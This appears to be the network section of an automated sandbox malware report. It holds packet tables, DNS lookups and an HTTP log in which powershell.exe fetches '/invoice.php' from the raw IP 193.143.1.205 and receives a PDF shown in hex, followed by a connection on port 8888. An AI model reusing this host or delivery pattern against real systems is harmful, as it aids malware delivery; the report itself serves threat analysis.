Jan 11, 2025 06:28:59.255436897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.255444050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.255472898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.255487919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.255497932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.255507946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.255518913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.255528927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.255532980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.255556107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.255568981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.255580902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.255590916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.255603075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.255625010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.255959988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.255980968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.256019115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.260842085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.264836073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.283250093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.283266068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.283276081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.283288002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.283298969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.283309937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.283370018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.283411980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.290565014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.290602922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.290616989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.290656090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.290667057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.290678024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.290682077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.290725946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.290730953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.290782928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.290817976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.301486969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.301501989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.301515102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.301551104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.301562071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.301573038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.301584005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.301585913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.301634073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.305561066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.310545921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.335848093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.335889101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.335902929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.335913897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.335920095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.335948944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.335959911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.335972071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.335983038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.335994005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.335992098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.336044073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.336070061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.336081028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.336091995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.336102962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.336112976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.336124897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.336141109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.336141109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.336141109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.336142063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.336154938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.336165905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.336175919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.336177111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.336183071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.336195946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.336206913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.336235046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.336302996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.336332083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.336343050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.336344004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.336355925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.336366892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.336379051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.336395979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.336397886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.336410046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.336421967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.336436987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.336436987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.336462021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.336473942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.336487055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.336508989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.336520910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.336534023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.336544037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.336528063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.336566925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.336604118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.336604118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.336656094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.336678982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.336695910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.336708069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.336705923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.336719036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.336730003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.336769104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.336796045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.336796045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.336821079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.336826086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.336832047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.336860895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.336889982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.336900949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.336920977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.336934090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.336939096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.336945057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.336971045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.337028027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.337038040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.337049007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.337073088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.337074995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.337086916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.337097883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.337100029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.337115049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.337166071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.337178946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.337192059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.337203979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.337205887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.337215900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.337264061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.337264061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.337264061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.337276936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.337321043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.337487936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.337501049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.337512016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.337522984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.337533951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.337534904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.337544918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.337560892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.337569952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.337589979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.337591887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.337601900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.337615013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.337625027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.337625027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.337636948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.337647915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.337658882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.337719917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.337721109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.337852001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.337862968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.337874889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.337887049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.337898016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.337903976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.337908983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.337923050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.337975025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.337975025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.337980986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.337991953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.338004112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.338013887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.338015079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.338030100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.338038921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.338068008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.338093042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.338104010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.338114023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.338124990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.338136911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.338145971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.338196993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.338205099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.338217020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.338228941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.338238955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.338239908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.338251114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.338274956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.338313103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.341172934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.377695084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.377715111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.377727032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.377737999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.377751112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.377762079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.377774000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.377799034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.377866030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.388448954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.388482094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.388495922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.388506889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.388516903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.388529062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.388528109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.388540030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.388551950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.388581991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.388602972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.422816992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.422843933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.422873974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.422883987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.422894955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.422920942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.422933102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.422944069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.422946930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.422956944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.422966957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.422977924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.422986984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.422997952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.423008919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.423027992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.423053980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.423055887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.423065901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.423077106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.423085928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.423086882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.423098087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.423111916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.423140049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.423199892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.423211098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.423243999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.423252106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.423260927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.423270941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.423281908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.423291922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.423295975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.423301935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.423326969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.423352003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.815469980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:29:00.449876070 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 06:29:00.454792976 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 06:29:00.454910994 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 06:29:00.455157995 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 06:29:00.459950924 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 06:29:01.237499952 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 06:29:01.290842056 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 06:29:02.286479950 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:29:08.110972881 CET	63304	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 06:29:08.110972881 CET	192.168.2.5	1.1.1.1	0x8ebe	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 06:29:08.118201017 CET	1.1.1.1	192.168.2.5	0x8ebe	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 06:29:08.846903086 CET	1.1.1.1	192.168.2.5	0xfd5f	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:29:08.846903086 CET	1.1.1.1	192.168.2.5	0xfd5f	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:30:12.804739952 CET	1.1.1.1	192.168.2.5	0x88af	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:30:12.804739952 CET	1.1.1.1	192.168.2.5	0x88af	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	5908	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:28:57.909959078 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 06:28:58.677336931 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:28:58 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 [TRUNCATED] Data Ascii: f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponent [TRUNCATED]
Jan 11, 2025 06:28:58.677370071 CET	1236	IN	Data Raw: 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 20 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 06:28:58.677383900 CET	1236	IN	Data Raw: 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 1e Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
